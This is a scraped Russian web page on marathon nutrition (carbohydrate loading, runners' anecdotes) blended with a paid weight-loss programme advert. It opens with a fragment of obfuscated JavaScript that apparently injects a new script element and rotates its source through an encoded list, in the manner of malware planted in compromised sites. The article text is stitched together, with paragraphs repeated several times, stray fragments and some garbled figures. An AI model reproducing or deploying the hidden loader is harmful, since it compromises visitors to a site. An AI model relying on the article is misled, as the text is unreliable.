{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>

Прекратите это терпеть!

Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев
Диеты могут покалечить ваше здоровье как в физическом плане, так и в моральном
Поэтому важно исключить такое понятие из своей жизни навсегда. Только сбалансированное питание поможет оставаться в здравии, кушать разнообразно и при этом достигать фигуру своей мечты.Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев
Диеты могут покалечить ваше здоровье как в физическом плане, так и в моральном
Поэтому важно исключить такое понятие из своей жизни навсегда. Только сбалансированное питание поможет оставаться в здравии, кушать разнообразно и при этом достигать фигуру своей мечты.Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев

Чувствуйте себя слегка уставшей после тренировки, а не слегка живой

После тренировок из марафона ваше тело будет функционировать на нужном уровне, а в мышцах будет ощущаться лишь приятная боль.

Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев
Готовьте по моим ПП рецептам

На ваш выбор предоставлены разнообразные блюда от соленых до сладких из простых ингредиентов. Это позволит вам стройнеть вкусно и легко.

Питание для марафона - до, во время и после соревнований, советы и отзывы марафонцев
Мои рекомендации в теме питания делятся на 2 типа: для планомерного похудения и для максимально эффективного

Вы сможете выбрать наиболее комфортный для вас путь и получать результат без жестких ограничений в еде как во время марафона, так и после него. Участницы марафона едят даже шоколад, поэтому будьте спокойны в этом плане.

Результаты клиентов

5 месяцев работы:

21 день работы:

Сколько стоит марафон?

Участие в марафоне стройности за 4 недели при оплате до 27 марта (включительно) стоит:

  • без проверки рациона питания, корректировки и рекомендаций – 890 рублей (если участвовала ранее – 650 рублей).
  • с проверкой рациона питания, корректировкой и рекомендацией – 1300 рублей (если участвовала ранее – 990 рублей)

Стоимость участия за 1 месяц при оплатес 28 марта:

  • без проверки рациона питания, корректировки и рекомендаций – 1100 рублей (если участвовала ранее – 900 рублей).
  • с проверкой рациона питания, корректировкой и рекомендацией – 1500 рублей (если участвовала ранее – 1200 рублей)

Акция: приведи подруг и получи 50 рублей скидку (за КАЖДУЮ подругу)!

Но это еще не все…

Упор на углеводы

Система общего питания перед марафоном очень важна, топливо должно удовлетворять требования организма в момент забега. Заблуждением является мнение, что перед пробежками за 7 дней лучше меньше есть, чтобы быстрее похудеть и больше тренироваться.

До самого старта требуется четко изменить свой рацион, где очень большое значение уделяется углеводной диете, углеводная загрузка действительно улучшает качество бега и с этим согласится каждый специалист.

Существует два метода в марафонской практике, один из которых именуется американским, а второй европейским, хотя суть там одна и та же — это загрузка организма углеводами:

  1. Углеводное истощение с дальнейшей общей перегрузкой, еще за 3-4 дня до самого марафона идут тяжелые тренировки, где выкладка должна быть максимальной. Такая тренировка сможет привести к энергетическим сильным истощениям, затем убирается жирная и белковая еда, а само питание должно будет состоять из углеводов на 80%. Далее тренировки уже не проводятся до самого старта, благодаря чему у спортсмена будет образован максимальный уровень энергии, что очень важно для марафона.
  2. Быстрое увеличение общего количества углеводистой пищи и долго сохраняется максимальный уровень тренировок, а за 3 дня до старта резко следует сократить число белков и жиров. Затем в рационе увеличивается число углеводного различного продукта, тренировки могут состоять только из дополнительных легких занятий. Затем за 3 часа до марафона идет общее питание, состоящее из 70-80% углеводов, 20% белка и 10% жиров, то есть с богатым содержанием углеводов в еде.

Ученые давно доказали, что именно углеводы будут существенно влиять на результаты в спорте, так как организм у человека из этих углеводов будет синтезировать гликоген то есть источник энергии.

До самого марафона требуется сделать запас гликогена в организме, а чтобы такого запаса хватило на марафон, то используется ряд методик для того, чтобы был резервов энергетики в виде гликогена.

За 3-6 месяцев до состязаний врачи и диетологи должны будут изучить реакции организма каждого спортсмена и составить индивидуальные диеты. За 7-9 дней до старта количество углеводов в пище должно быть до 35%, за 4-6 дней до 70%, а в день состязания до 80%, такая диета с углеводами увеличит запас гликогена.

Отзывы марафонцев о еде

Гилмор, 33 года, США, Калифорния, 5-е место Бостонский марафон 2006 год. Рекомендуется заранее уделить внимание еде, если забег будет в воскресенье, то объемы принимаемой пищи увеличивайте еще со среды. Это делайте заранее, так как от одной порции организм сможет усвоить только 300 калорий углеводов, а их требуется еще больше для старта. Есть следует чуть больше, чем делается это обычно, чтобы как следует заполнить свои баки, а организм подготовился к соревнованиям.

Оценка:

Фауджа Сингх, Индия, стал бегать, когда он переехал из Индии в Лондон, тогда ему было уже 80 лет, а за год до 90 лет он пробежал Лондонский марафон за 7 часов. А уже в 93 года он пробежал эту дистанции за 5 часов и 40 минут, сделав мировой рекорд, Фауджа дает всем совет не есть жареного, бросить курить, избегать алкоголя, а также быть вегеном и есть меньше мясного.

Оценка:

Спортсмены еще до марафона за 3-4 недели должны готовиться к важным состязаниям, очень важно уделить больше внимания личному рациону. Главная цель такого питания хорошо подготовить свой организм к дистанциям, чтобы не было сложных последствий, а организм не отказывался далее работать.

Чтобы марафон шел отлично рекомендуется спортпитание, то есть разнообразные гели и порошки, энергетические специальные растворы, такое питание должно быть без синтетики. Благодаря рациональным специальным предмарафонным диетам запасы гликогена у спортсмена существенно увеличатся с 3200 кКл до 4200 кКл, что очень важно для будущего марафона.s here

Оцените статью
Диета
Добавить комментарий

Adblock
detector